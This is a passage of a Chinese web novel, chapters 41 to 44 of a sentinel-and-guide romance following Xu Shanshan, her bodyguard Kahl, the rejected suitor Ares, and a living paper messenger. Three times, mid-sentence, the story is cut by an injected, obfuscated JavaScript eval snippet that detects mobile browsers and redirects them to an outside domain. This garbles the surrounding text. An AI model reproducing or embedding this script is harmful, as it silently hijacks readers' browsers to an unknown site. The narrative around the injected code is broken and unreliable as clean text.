目前,病人看起来问题不大,但继续打下去就不一定了,为免麻烦,她将它收了回去,好生安抚。 她走近男人,没想到他也抬起一边侧脸,似乎是误以为她也要扇脸,认错愿罚的模样,徐珊珊顿住了,她考虑了一下,但停下了。 默默走到一旁,搬了张椅子,面对面坐着,男人垂眸,她低头一看,发现蛇又试图靠近,在闻鞋底,这样不行,两人得聊聊。 她将脚抽开,严肃道:“不要碰我,还没原谅你。” 那家伙没有被惊动,头没后缩,也是愣了一会儿,扭动脖颈,正面看来,然后也不敢蹭身上,开始用头蹭椅子腿,似乎在求原谅。 有点粘人啊,受不了它一直讨好,她决定给它找个事做,从一旁柜子里拖出一个充气红球,轻质塑料的,托着它,摁到蛇的头顶,中心下凹,“你就在那边,顶球五百次,我就原谅你,要注意,不准落下来。” “听懂了吗?”她一只手将塑料球往上掷,待它落下,另一只手往上打,来回两次,为它做了示范,然后她真的在蛇身上看见了点头动作。 她还是畏惧,没有摸头,直接将球抛向角落,它撞向墙顶转角,斜落下,蟒蛇的速度很快,头往上顶,但运动轨迹不明,又或者,气球落到桌子上,它爬得慢,落了地,就算计数中断。 老实蛇,见它专心“赎罪”,徐珊珊收拢了心,将目光转向王蟒,见对方也专注地看自己精神体击球,简直入了迷,她咳嗽了两声,对方才回神,又开始傻笑。 她决定出去后,和蒋森队长说一下,这种快咧到嘴角的笑容似乎不能很好地表达善意,更像是一种食欲。 说起吃,她看向桌面的保温饭盒,询问:“你为什么不吃饭?” “蒋森说你饿了几天,不吃不喝。” 面对这一诘问,王蟒的眼睛咕噜转,似乎想隐瞒,找个理由、借口,在她威逼下,才坦露实情,“见不到你,不想吃。” 不知道是吓到她,内心不安,还是想念她,徐珊珊也没问明。 她看过去,两人眼神对视,一双澄澈坦白的双眼,直诉内心,她的脸红了,偏头纠正道:“难道我不来见你,你还能一直不吃?” 他一副若有所思的样子,然后点了点头,气的她直接给他脑瓜上一个指弹,“不可以不吃,你想想你的家人。” “家人……很远。”男人憋了很久,蹦出来这两个字,她想了想,既然自己在,就好好跟他说一下,免得又弄得蒋森队长一身湿。 “我给你喂点吃的。” 她本想喊门外的人送吃食来,还没走到门边,房内的“砰、砰——”声消失,脚上一沉。 脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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完事后,男人接过名片,看着直到背熟,塞进衣服口袋里。 经过她晓之以理,动之以情地劝说,终于是把大杀器安抚好,蒋森等人再进来时,果见已经被撸顺毛了。非要说的话,就是从野生蛇变成了家养蛇。 众人本是同生共死的好队友,看他们互动,竟也生起取之而代的隐秘欲望。 徐珊珊:“那我走了,下次再来看你。” 因人被绑,只有一条蟒蛇跟在身后,它亦步亦趋,但无情地被关在门的这边,竖起的身子垂下,贴着门板。 脚步声渐远,地面传来的振动减弱,没动静后,蟒蛇滑动身子,开始往桌上爬,扑进饭盒里,开始舔舐,明明它的进食方式是整个浑吞,这样什么也吃不到,就是扑进去,舔个不停,根本不管主人的训斥,咬住调羹,又缩到角落去。 王蟒很生气,但目前后果并不严重,他只能眼睁睁看着它覆盖上面的气味,实在喊不动,他突然想起了另一个办法,将它收回了脑海中,没想到成功了,阴险地笑起来,然后利用合拢的腿,整个挪动椅子,一点点往那边靠。 蒋森等人将他们送到门口,又是一阵道谢,她只草草说了两句,看见车停在门口,就匆匆上车了。 车尾灯消失在视野中,蒋森率先回头往里走,沿路上,看见趴在墙柱后偷窥的精神体,大大小小爬满了,还有的叠在一块,看来有些东西比阳光更具有吸引力。 它们见他近了,瞪着那双不大的小眼,仿佛失去乐趣般,一溜烟跑散了,各回各家,互不相干,望着众精神体离开的背影,蒋森想了想,还是爽朗地笑出了声。 车上,卡尔有些失神,鼻翼翕动,她几次喊时,都反应地后知后觉,她有些担心地问:“你是不是不开心?” “没。” 说虽这么,他的低落却很明显,嘴笑眼不笑,她却不知道该说什么。 气氛降温,不过卡尔很快意识到,他这样,不能导向好结果,劝慰自己,将忧虑抛在脑后,轻松地同她搭话。 徐珊珊听他分享过去在纠察队的亲历八卦,也跟着听,不时震惊,两人逐渐破冰,抵达白塔静音室。 工作非常顺利,晚上又将回到训练营,但下班时,两人撞上了一个预料之外的人。 41. 第 41 章 阿瑞斯,又一次堵在候梯厅,但这次不一样的是,她身边已经有了一个人陪伴。 徐珊珊简单打了个招呼,还以为他要找别人,转头和卡尔聊天,直到走进电梯,才发现他也跟了进来。 是找自己的吗? 男人抿唇,右手中提着手提袋,里面放着精美的小礼品,他做了好久的心理建设,还是决定来这里。 他在新闻里了解她的近况,从表彰里,从其他哨兵的话语里,就是不从两人的对话中。 看向紧挨在她身边的男人,阿瑞斯的眼眶一红,将头低下,胸口酸涩,他没有找她,不希望每次都是他来找她,哪怕一次,她能主动来找自己呢。 每天反复刷通讯软件,每次都是落空,阿瑞斯一开始是骂,羡慕、嫉恨、辱骂那些能被她选中,陪在她身边的人,然后屈服。 卡尔的家世不错,难道他就很差吗?那个布鲁诺又算个什么东西,他听说,两人异地同梦。 种种的情绪,在见到她的第一眼,突然就从心中散开了,取之而来的是希望,莫名的期盼,就像夜里的灯芯,好像已经熄灭,但只要有一簇火苗,就会死灰复燃。 直到她越过他往外走,阿瑞斯的手腕不自觉颤动,显然是已经把他忘了。 他听见两人聊天,看见两人双目相对,看着她望向别人的眼睛,脸上的喜悦、轻松表情,就像一脚踏空,可他偏不愿,他偏要跟上去。 电梯一直运行。 卡尔:“今天下午的情况还好吗?” 阿瑞斯抬头看来,只见那一双红润的嘴唇中吐露出几个字,他试图插嘴,将话题带到自己熟悉的领域。 但这之后,女人看了看一旁的男人,眨了眨眼睛,选择沉默,不搭话,无意有意的生疏,自从训练营之后。 没有在中间楼层下电梯,徐珊珊看向他,不明白他是有什么打算,难道不回队伍,或者去食堂? 男人跟随他们一直到白塔外,两人乘上列车,她坐在一侧的座椅上,两个男人一左一右地挨着她坐。 左右为男,结实的腿部肌肉贴近,突然加速或刹车时便靠在一块,珍贵的礼物被递到面前。 徐珊珊放下光脑,她不能再假装无事发生了,没有接手,抬起头看向阿瑞斯,“你想干什么?” 男人扯出一个笑,今天第二次,正眼看自己,“你应该会喜欢。” …… 她叹了一口气,又回头看了一眼卡尔,清俊的脸上没什么表情,他眼神平静,似乎支持她的全部决定。 徐珊珊手放在袋子外,挡了回去,“我不需要,谢谢。” “你不要吗?” “嗯,”她侧过头,不再看阿瑞斯,握住了卡尔的手,男人轻轻地回应她,两人十指相扣,目光在对侧的椅面上摇摆,她应该和其他人保持距离。 “给你介绍一下,这是我的警卫员,也是我的哨兵,卡尔。” 他第一次讯问的时候,她确实是一个人,但现在不是了,尽管不太敢看对方,徐珊珊觉得,她目前还是没办法,回应那么多人的感情。 “为什么……” 她是看到银色绒面上摊开的水珠,才后知后觉,他哭了,一时诧异,为什么?他们才认识多久,她有什么好的? 复杂的情绪涌上内心,她也被甩过,还是以一种无情的方式,这促使她回忆起相似的情绪,手抽回来,从随身包中取出纸巾,递过去,“阿瑞斯,别哭。” 阿瑞斯哭一直是很漂亮的,但当她真正把注意力放到他身上时,才发现一个问题,那只有黑雾组成的狮子呢,它去哪了? 他不是向来精神体不离身吗? 男人倒是好哄,三两下就将情绪收拢好,“你不是不想理我吗?” 摸不准他的意思,徐珊珊试探着问:“那我不管了?” “不许你不管。” …… 鞋跟踩踏地面,发出的声音让她意识到身旁还有另一个人,突然手足无措起来,到底要先安抚谁? 一直到抵达目的地,时间还有剩余,她不急着进去,门口处该和卡尔道别。 阿瑞斯:“我想和你单独聊聊,可以吗?” “你先回去吧,我和他单独聊一会儿就进去。” 卡尔看向这个男人,明显顾忌,本身哨兵就是个隐藏炸药,更何况一个失意的男人,他担心他会恼羞成怒,心生坏事。 他在两人间来回看,什么也没说,点头同意了,转身离开,去到对岸,等回城列车抵达,停留又离开,只剩一片花田。 卡尔走了,这里只剩两人,她长舒一口气,更自在些,抬头见他眼尾还有些亮晶晶的东西,心里难免不忍,将阿瑞斯带到附近的一家餐厅。 饮品被端到桌前,仿佛又回到了数日前的图书馆下午,只是这次是单独两人相处。 男人再度将礼品盒推过来,连包装的丝带都是张扬的红色,她没有接手,端起一杯冷饮,灌进嘴里,被冰得眯上眼睛。 “我这杯是热的。” 另一杯热饮被推到面前,她摇了摇头,将它推回原处,“我喜欢喝冷的。” 他默不作声地将手放在桌面,始终没有喝,“最近挑选了支援队,说有个人要死在洞里了。” 她的思绪漂移,不知道他提的是否是布鲁诺,“我觉得,应该没事。” “如果他死了,你会怎样,你会一辈子记住他吗?” 她的眉头拧在一块,怎么这些人,动不动就死不死的,故意说:“不会,你没听过那句话吗?” “什么?” “‘寂寞山河空念远,不如怜取眼前人。’” 徐珊珊这样说着,只是希望他能别抱有这样的想法,但她本身是个念旧的人,回忆被时光过滤,只留下美好。 阿瑞斯笑了一下,“我听说有些人是会的,有的人,会因为喜欢一个人,而终身寻找他的替代品。” 这让她想起了某部古装电视剧,总觉得这样对谁都不太公平,低声念叨:“有点渣啊。” “这个人,你也认识。” 她睁大了眼,不敢置信,八卦之火熊熊燃烧,“谁啊?” 而阿瑞斯给出的答案却超乎她的预料,她还以为 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在徐珊珊的心里,这怎么会不是秘密呢?但在阿瑞斯看来,这怎么会成为一种秘密?偏爱是那么明显,就算当事人不知道,竞争对手难道就不会用这话来打击吗? 身边的例子,徐珊珊想了想,她不会,活下来的人得继续往前走,她再次开口,只是这次的语气要认真许多,“不需要这样。” 她总觉得这些哨兵太卑微,在恋爱关系中,把自己放在地位,把对方视若神明,为什么,难道真的是脑子坏了? 进化的代价是变成恋爱脑? 阿瑞斯:“你可以接受我吗?我不介意那个男人。” 她回过神,果断拒绝了,实际上,她正是要和他说这件事,两人得断开联系。 “你喜欢什么样的,我可以改。” 男人开始一一陈述,他能给她带来的利益,和她在一块有什么好处,男人拆开了礼盒,是由稀有贵金属制造成的龙凤摆件。 她在网上科普视频中偶然见过,价格昂贵。 男人越说,她越烦,种种思绪涌上心头,却始终没法回应,只是一个劲的摇头。 “我不可以。” “……为什么?” 难道他更貌美、强大、顺从、家世优渥、手握权力?他想要一个理由,他可以改进、学习的点,却意外地得到一个答案。 “我对他打下了精神烙印,他需要我,我要对他负责。” “他没你想得那么脆弱。” 徐珊珊明白他言下之意,是可以不管他,反问道:“那你呢?” “你的意思是,你比他更需要我,是吗?” 阿瑞斯仿佛认输般,点头回是,反正他也不是多有道德的人,不过,那个卡尔也未必有他表现出来的那么大度。 人好像走了,他真的走了吗? 男人看向窗外,一览无余的街道,墙角边的撤回的一双鞋,他真的走了么? 42. 第 42 章 回到宿舍暂作修整,刚进门,正在打坐的克拉拉睁开眼,出乎意料地问候:“你回来了。” 徐珊珊讶异道:“对。” 不明白她为何突然喊自己,想了一圈,应该是想问兄长的事,但她没登虚拟系统。 徐珊珊:“我今天比较忙,没上线和他们交流。” 见人不语,她想应该是误会了,只是问候,因为克拉拉不像吴可,每次回来都很热络地关心,她还不习惯。 “没事。” 克拉拉面带微笑,“我已经联系上他们了。”随后,掀开床垫,从床板上,捡起了她的光脑,握在手中摇了摇。 “哇~你——” 徐珊珊的话戛然而止,没想到,看着像个三好学生的人,私下也会搞小动作。 她还以为对方是无情卷王,任何阻碍进步者,杀无赦。 这种印象很快被打破了,源于临睡前的微光光源,从一处变成两处。 真好,她躺在床上,而且,紧接着,对方带来了更好的消息——找到引导绳了。 虽然人还没救出来,但有了位置标记,就离成功更近了。 那群流浪小队的执行力很强,她想着,团聚的日子应该快了。 夜里,她突发灵感,之前不敢主动搭话,现在也有心思开玩笑,“我听说他们叫练洛一、二……五,那你是不是该叫练洛六?” 老六?这个词在她脑中冒出来,霸道地飘来飘去。 克拉拉熄灭屏幕,看向天花板,回忆道:“我不是第六个孩子。” 她位居第八,却是首位成功改造为向导而存活的。该死的人已经死了,但他们总还存在。 再联系上时,她没有预期的激动,这么多年来,以为记忆褪色,通话的最初,沉默良久,直到听见那熟悉的呼唤。 那串编号,仿佛把她拖回实验室的岁月,“克拉拉,”她告诉他们自己的新名字,重复了两遍。 夜深人静,两处人,想着一件事,明月见证。 次日清晨,徐珊珊已经习惯了晨跑三公里,虽仍气喘吁吁,却不再是倒一水平。 午休时,她走向大门,没见卡尔的身影,他常站在检查闸机外。 车停靠路边,熟悉的车牌号,走近了看,里面坐着直属领导,男人客气地请她上车。 她心里疑惑:卡尔呢? 门已解锁,她抬脚上车,望见扶手箱中放置着一盒洗净的奶油草莓,系安全带,“中午好。” 山昊:“想吃什么?” “吃食堂吧。” 上午大汗淋漓的,她更想快点吃饭,然后回宿舍,好好洗漱、睡午觉。 身体前移,汽车有开动趋势,她急忙喊停,“等等,还个有人,我给他发个消息。” 山昊:“他病了,来不了。” “病了?” 这个理由……昨天还生龙活虎的,怎么突然就卧床不起了,她打开通讯录,找到联系人。 山昊安静等着她行动,半晌,嘟嘟声响起,电话不通,她抬眼,脸颊红润,残有细密的汗,眼往上瞧,“我要去医院。” “去医院做什么?” “他生病了,我作为领导,肯定要去看望他啊。”她就这么一个可支配的下属,可不能随便没了。 见打不通电话,她想让山昊带她去,或者告诉她更多信息。 男人没有说话,心绪却从不时拨动的食指透出来,当初初试,他特意让南希选一个A级哨兵,却没想到弄巧成拙,竟然撮合了二人。 而这个哨兵,他竟这么不中用。 昨天,天快黑了,他收到消息,说是要让他帮忙办一件事,自己做不了了,他还当是什么呢,结果是向导想吃第二天现摘的草莓。 他后续从纠察队那儿得知,哨兵斗殴,但可笑的是,卡尔被打得半死不活,幸亏南希及时赶到。 不然这棵树会不会死也很难说。他对此不抱同情,待在她身边注定要承受挑战。 当事人中的另一位,他当晚去看了眼,裸露的□□全是深深浅浅的割痕,被人踹进禁闭室。 争风吃醋这块,他没法明说,但卡尔连本身的职务都无法完成,也许调回纠察队更合适。 人的成长需要时间,与其说保护向导,别先被情敌攻击致残,但毕竟他是费瑟家的人。 “你以后别对他太好了。” 女人愣神,不敢置信他说了什么般,脖子僵硬的,像机器似的一卡一卡扭过来,脑门上像刻上了一个大大的问号。 他转念一想,也不对,就算向导冷眼相对,或者斥责打骂,受者也甘之如饴,旁人仍是羡慕。 他只要占了那个位置,就很难不被人攻击。 “你有没有考虑过,换一个警卫员?” 徐珊珊回答得很果断,“不换。” 可以预见的未来,卡尔走在路上,会被套麻袋,拳打脚踢一顿。问题还得解决,也不想哨兵间的竞争, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176257|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影响到她。 毕竟她看他们太重。 “再申请一个警卫员吧,你的能力特殊,能发挥出很大作用,个人安全很重要。” 她今后工作大多接触高级别的哨兵,要是真的发狂,找个人一起拦截,选个强势的,至少不会被人打进重症病房。 他想了想,经验老、资历高、能力强、性格稳定、不好妒的哨兵,要么升职带队,变成管理岗,要么亲临一线,不能长期在塔内,要么就死了。 其实他也可以,但上司变下属这件事,听起来,太以权谋私了,想必不会通过。 他有个人选,但还要再考虑,看看是否有其他人,并询问当事人意愿。 长官告诉她:卡尔得了急性肠胃炎,需要住院治疗几天。 临时找的借口吧,她宁愿相信他有秘密任务,但见领导风轻云淡的样子,应该也没多大事。 两人进餐结束,电梯出口,山昊将盒子递过来,“你要的草莓。” “谢谢。” 午休,下午上班,她本来和阿瑞斯约好了,帮他疏导,结果也联系不上,一个二个全都失联。 完成今日工作,她打卡离开,率先来食堂,没几个人,甚至还没到饭点,她坐着撑脸发了一会儿呆,决定先去娱乐室,唱会儿歌。 意外的事发生了,她在隔音室里唱K,打开门,走出来,发现桌上放着一封信,好古典啊,她看了一眼,应该是别人落下的,四周望去,无人。 现在该到饭点了,穿过空地,那信封竟然无风自起,飘到了她面前,落了下来,窗口的窗帘未动,她捏住它,翻了个面,才看见一行字:向导敬启,旁边还画了小蘑菇的图案。 可以装作没看见吗? 她见角落有个垃圾桶,走到旁边,准备丢进去,又忍不住拆开看看,毕竟没收到过情书。 信纸散发淡香,很薄的一张,捏在手上不敢用力,怕捏碎了,但仔细一看,手松开,信封落袋,迅速地将它揉成一团,甩手抛掷。 她是小跑回电梯的,因为这根本不正常,这是匿名情书,还是索命预告? 为什么要用红笔涂满了她的名字?被箭矢穿透心脏的小人又是什么鬼,她看不懂,并大为震撼,是血吗? 离这儿近的,她要去空战组。 电梯门缓缓闭合。 但在她不知道的时候,挎包拉链解开,那封情书又不知不觉间溜进去,而后重新拉好。她只胆战心惊地盯着电梯楼层。 43. 第 43 章 踏入“鸟咖”的那一刻,紧绷的弦放松,她踉跄地走出电梯,转角处,脚一崴,倒下途中,不知从哪儿窜出一只鸟。 “peekaboo——”紫蓝金刚鹦鹉兴奋地迈着两条腿跑来。 柔软而灵活的垫子,细听发出嘤嘤声,她惊慌起身,挎包又坠地,往后看了看,没人追上来。 “对不起,宝宝,压到你了。” 鸟类为了飞翔,进化出中空骨骼,身体轻量化,构造精细,体型又小,她担心自己压伤对方。 不敢碰它,手撑着往后退,曲腿坐在地上,见着丰沛的钴蓝色颈羽被翻立,它眨了眨圆眼,眼周被鹅黄色裸露皮肤包围,上喙巨大,向下弯钩,露出圆舌头,一个轱辘往左翻起身。 它站了起来,好奇地凑上前,来回歪头,分别用左右半脸朝上,边看边打招呼:“嗨~” 鹦鹉挪脚,四只脚趾,两前两后,在地面蹭过来,细长的尾羽拖在身后。 她担心它受伤,但鹦鹉只是拍拍翅膀,软乎乎的绒羽堪堪盖住嗦囊,越靠越近,最后,张开翅膀扑进她怀里,歪着头顶身上。 没事,她松了口气,伸手拢住后背,给它挠头,毕竟不是真的动物,精神体没有那么脆弱。 它是第一个来接自己的。 她握着它的爪子,站起身,心跳速度减缓。忽然间,众鸟从室内振翅飞出,高低不一,有的起飞时被别人踢落,也有的干脆做“走地鸡”,步伐滑稽。 远处,一扇门打开,室内昏暗,彩色灯光忽隐忽现,坐在门边的男人起身,朝她而来。 膝盖、小腿被碰红,他们的视线聚焦于站在手中的鹦鹉上,她解释道:“我自己摔的。” 没想到她会来,众人见她被精神体团团围住,环绕翩飞,活像一幅百鸟朝凤图,抛开它们有意无意踩别人两脚、啄颈的话,场面很和谐。 夏广礼拨开鸟群,用手推搡着暖热身躯,挤进去,“欢迎。”话音刚落,她就被拦腰抱起来,手掌放在膝盖窝,拇指、食指抬高小腿,露出被撞得发红的雪肌。 夏广礼:“腿擦伤了。” 她跟看过去,只是破了皮。男人指肚的凹陷,看着比她更严重,被绷带缠紧的手指,她心中一涩,说不出斥责的话。 想抱就抱吧,反正她又不会少块肉,鼻翼翕动,夏广礼这家伙,身上怎么香香的,她有点埋头吸一下的想法,但克制住了。 再环顾找那只金刚鹦鹉,一条深蓝色尾巴从脚边冒出来,夏广礼转身,胸膛挡住视线,往里走去,将她轻放在沙发上。 她陷进了沙发里,手放在荔枝纹牛皮扶手上,身心放松下来,腿伸出,而当夏广礼蹲在她身前,用纱布蘸生理盐水清洗伤口。 她才恍然察觉,自己好像被同化了,她甚至没有接过来,自己动的想法,就这样坐着,等着别人服务。 任由人用棉签沾湿碘伏,紫色溶液敷上小腿外侧,腿被轻握,她往后躺靠,闭上眼睛,回忆先前,到底是谁给她送恐吓信? 纸上的红痕,到底是红墨水还是血迹? 她当时惊骇极了,没细看,像怕飞蛾一样将它抛远了,应该是她进去后,才放进去的,监控应该能把人揪出来。 还在工作时间,她称自己没事,让他们去忙自己的,不用管她。 解逸飞:“正巧,我们在看影像资料,一起吧?” 夏广礼:“上一届的演习。” 影音室内的众人,人还在,心已经飘到了门外,门留出一道缝,光线照在后背,他们试图从战斗声中分清女人声音。 她最终同意了,和他们在一块更安全,因为精神体都在这儿,她也将小蘑菇放出来,它们共处一处,自己去看视频。 房门紧闭。 荧幕上播放的是剪辑后的交战场面,主要是空战组和其他队伍的互斗,他们始终占据主动、优势,直到时间往后拖,开始缩圈。 落地的凤凰不如鸡。 哪怕精神体可以持续几周,甚至数月不着陆,但人需要脚踏实地,他们需要落脚点。 安全范围变小,将众多队伍驱逐到一处,他们不得不花费更多精力,提防潜在的敌人,到最后必是一场混战。 她最初是抱着看《动物世界》的心态看的,但逐渐的,一些血腥画面来回闪现,不仅是精神体的厮杀,还有哨兵之间。 她有些不敢看下去,恰好时间到了,室内灯光亮起,窗帘拉开。右手触上温热的质感,她缩了回来,原来不小心挨到了夏广礼的手。 “都是假的,别怕。” 他不说其实还不怎么怕。随着日光散射进来,屏幕上的人影看得不太真切,她也无心去想那个战败的哨兵是在场的哪一位了。 反正是模拟演习,实战能够帮他们更好地积累经验,以后才会少受伤。 一声令下,众人散场。 夏广礼带着她往外走,她好奇地问:“那我呢?” “要是我被其他队伍的抓到了,会怎样?” 模拟演习里面也可以调痛感吗? 夏广礼面色凝重,只用手势给她比了一个割喉的动作,给她吓一跳,男人却轻笑出声,“骗你的。” 好气啊,她要控制不住自己的右手了,总觉得某些人该失去些什么。 “哼,我不跟你计较。” 她白了他一眼,往外走去,恰逢光脑上传来消息,长官说一会儿来接她。 夏广礼:“今天有人过生日,你要留下来吃蛋糕吗?” “谁啊?” 这个嘛……影音室内有几十个人,十天半个月有人过生日也很合理,他正欲指人,一个男声却从侧方发出。 “今天是我的生日。” 亮金瞳孔,黑灰色短发,穿着作战服,尾指上带着蓝色钻戒,在光线下璀璨异常,既熟悉又陌生。 自从他上次,使用精神体隔着玻璃叫嚣,被带回队内惩治后,他们接触就不多了,记得那次试飞,他是不在的。 她盯着他看了好一会儿,才认出这是谁,伸手打了个招呼,“嗨,宋晓宇。” 男人伸出手,她握了上去,“生日快乐。” 徐珊珊:“可以啊,但你们待会要找人送我回营地,不能迟到,不然罚我跑操。” “没问题。”宋晓宇答复,笑起来,谢谢她记得他,洒脱地松手,摊向一侧的会客厅,“来,这边走。” 夏广礼冷眼看着这一幕,转身吩咐队员去订蛋糕、带晚餐。 她从一旁的房间里拎出玩得累瘫下的小蘑菇,收回脑中,和长官说明情况。 出去前,每只鸟撸了一下,满鼻散谷物香,她转身离开,这儿已经很熟了。 很多人都去了食堂,几人围着圆弧形大理石茶几坐下,连沙发也是半包围的弧形,能容纳许多人。 桌上摆放着食物摆架,五层金色树枝状螺旋上伸,枝条上方铸成花瓣模样,上面放着托盘,从下至上放着各种坚果、水果。 宋晓宇洗净手,将水果剥皮、果肉摆盘,递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190817|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到面前,她挥手婉拒,“中午吃了太多草莓,我吃不下了。” 男人剥皮的过程中,布满小颗粒的圆形薄壳被指甲划开,汁水从红壳蹦出,溅到手上,听她说不吃,他也就停下手。 洗手回来,发现她一直盯着自己的手看,准确地说,是看自己的尾戒,亮晶晶的,日常配饰。 宋晓宇好心情地将它摘下,递到女人面前,任她打量。 她并没有伸手,只是夸赞:“你的戒指很漂亮。” 宋晓宇:“想试试看吗?” “好像有点大了……” 饶是这么说,她颇感兴趣,犹豫地伸出手,手掌摊平,五指分开。 “咚咚——”房门被敲响,他们带来了蛋糕,没想到竟这么快。 达伦起身开门,将它放在桌上,来人不明白谁过生日,只见一人单膝跪地,这是要做什么? 宋晓宇手握指环,小心翼翼地靠近,手偏移,最终将它戴入无名指中。 她翻过掌背仔细看,很漂亮,但尺寸不合,将它摘下,交还回去。 男人见她没多问,似乎不感兴趣,有些遗憾,“这是一对对戒,如果你喜欢,我那儿有女款的。” 解逸飞看了一眼达伦,收敛眼神,看起来更在意的是夏广礼,他们之前更亲近,但现在莫名传出来一些话。 比如她和某位哨兵十分亲密,四处留情,和布鲁诺情投意合之类的。他想那多是无稽之谈,她对他们没有格外偏爱的。 但这个人……当众给他们上眼药? 他甚至有些想笑,喜欢越过两名队长高调示爱,勇气可嘉。 察觉出夏广礼身上散发出的危险气息,解逸飞无意打扰向导,抬高音量,“蛋糕到了。” 因为仓促,他们加价定下的生日蛋糕,款式是最简单的那款,但在场的众人还是十分羡慕。 看着向导小姐为他戴上生日帽,亲手摆好蜡烛,扭头问他:“你今年几岁啦?” 包括她亲手点火,烛光在瞳孔虹膜上照影,让人关灯,拉拢窗帘,鼓掌唱生日歌。 像梦一样难以置信,很认真地对待他们。 “祝你生日快乐~” 一首歌落到结尾,但寿星本人却不许愿,专盯着她,不禁提醒:“可以闭眼睛许愿啦。” 她还以为对方不明白,又解释了一番,只听他说:“你的愿望是什么?” “问我做什么,这是你的生日。” 宋晓宇:“你的心愿,就是我的心愿。” 好直白啊,幸好现在黑乎乎的,什么也看不清,她的脸颊有些热,有些害羞,想了想,决定许个积极的愿望。 “我们要在这次演习中拿第一名,你觉得可以吗?” 宋晓宇笑着说:“那我就许愿,我们能拿冠军。” 他闭上眼睛,在心中默念愿望,又在末尾补上了一句:愿岁岁年年似今朝。男人睁眼,一口气吐出,烛光尽熄。 顶灯亮起,窗帘揭开,她看见一张阳光清俊的脸笑着,被喜悦情绪感染,两人对着傻笑,直到被喊到,蛋糕切好了,接过自己的一份。 庆祝结束。 饭后擦嘴,她下意识地从挎包里拿出镜子,想看看,有什么磨砂质感的东西从手中跳了出来,有人比她反应更快,电光火石间,一团揉皱了的纸被老鹰踩在爪下。 见她面色不对,其余人表情变得严肃,将她护至身后,一瞬间,各种精神体冒出来,将它团团围住。 “这是什么?” 44. 第 44 章 鹰爪攥紧时,看似很薄的纸团立即被戳出几个洞,它像有自己思想似的,将自己压扁,往脚趾缝隙间钻出,往墙边滚,跃上沙发,沿着窗缘,一个抛物线状往外落。 谁也没想到它是活物,但想跑是不可能的,傻了吧,它会飞。 老鹰往外飞去,从高空掠下,再回来时,已经将它抓入手中。 逮住坏蛋,门窗紧闭,金雕、丹顶鹤、老鹰……高高低低的鸟儿围成一圈,数张喙相对,呈三角形,纸团被围。 往外一圈是黑色皮靴,鞋尖相向,唯一的空缺,一双鹅黄色方头平底鞋,往上是白皙脚背,女人叉腰,低头打量,偷偷藏在自己包里的东西。 纸团自行撕裂,被精神体各踩了几脚,慌忙逃窜,并逐渐折成纸人模样,而“珊”字的长笔画,印在身上,纸张纹样特殊。 它不断弯腰,用假手挡头,躲避攻击,但还是被扣出孔洞,毫无反击之力。 徐珊珊:“等一下。” 她制止了它们,此时更有底气些,便想看看,究竟是何方神圣。 她蹲下身,靠得更近去看,并试图与它交流,但发现它听不懂人话,似乎是按设定好的程序行事,很机械。 这个世界已然很神奇了,出现各种超自然现象都不奇怪,但当她查监控后得知,它并不是由任何人摆放在桌子上,而是自己张腿跑来时,还是感到很震惊。 没捉到罪魁祸首,见其他人也不太了解,就自己上网搜索了一下相关讯息,在论坛里找到了蛛丝马迹。 广告词:“使命必达,您的送信专家。” 沿着留下的信息,一路追踪,到最后转到了一个联系账号,她加上号码,和对方沟通这件事,她却大大方方承认了。 君子爱财:【对啊,我们就是干这个的,你是哪个地方的?】 众人围在一团,围观这场操作,她输入信息:【白塔的,我想问,寄出去对方真的收的到吗?】 君子爱财:【白塔2000星币,定金。】 哇塞,她看呆了,这是什么?打一周的电话都花不了这么多吧,一看就不是什么正经生意,她还是舍不得钱,对方传来消息。 君子爱财:【别担心,等送到了再付尾款。】 意思是,如果送不到也不退款,她继续试探:【你这东西,后续怎么处理,会不会伤人?】 对方显示正在输入中,而后停下,发了一段语音条过来,大意是:只送信,不伤人。它维系不了多久,字数越多,存续时间越短,价格也越贵。 在两人沟通的时候,他们已经在扒这人的IP地址了,发现不在白塔内,一个外区电信诈骗犯,她的送信手段是不合法的,更坏的是,哄骗一些人,骗钱。 而当她提出,书写内容是否有什么限制时,对方说:【我们这边保证客户隐私。】 扇子:【你们这里有没有别的服务?】 对方把价目表打了出来,全是与纸相关的业务,甚至还包括占卜、许愿,从左到右有三张图,分别有关事业、家庭、爱情。 神秘色彩萦绕的图案,中间的字却很接地气:“点击立即领取您的姻缘。” 君子爱财:【占卜、许愿要心诚则灵。】 …… “嗯?” 她扭头看去,在一双金色瞳孔中燃起火焰,那个纸人,它自燃了,无法用水浇灭,原来这就是后续处理。 这其中,许愿的价格是最贵的,最低的套餐都是两万星币。 徐珊珊想了想,谁会给自己送信?上面只写自己的名字和卡通画,她将同样的需求,讲述出来,问她能否实现。 “君子爱财”,一个缩在棚屋里的少女,用力地拍了一下桌子,忽然想起,自己好像发错纸了!她说怎么昨天多用了一张纸,应该是把人许愿的当成送信的了。 她是一名哨兵,但等级很低,战斗力比较低下,而异能又很鸡肋,不能入编,为了好好生存,干起了这个行当。 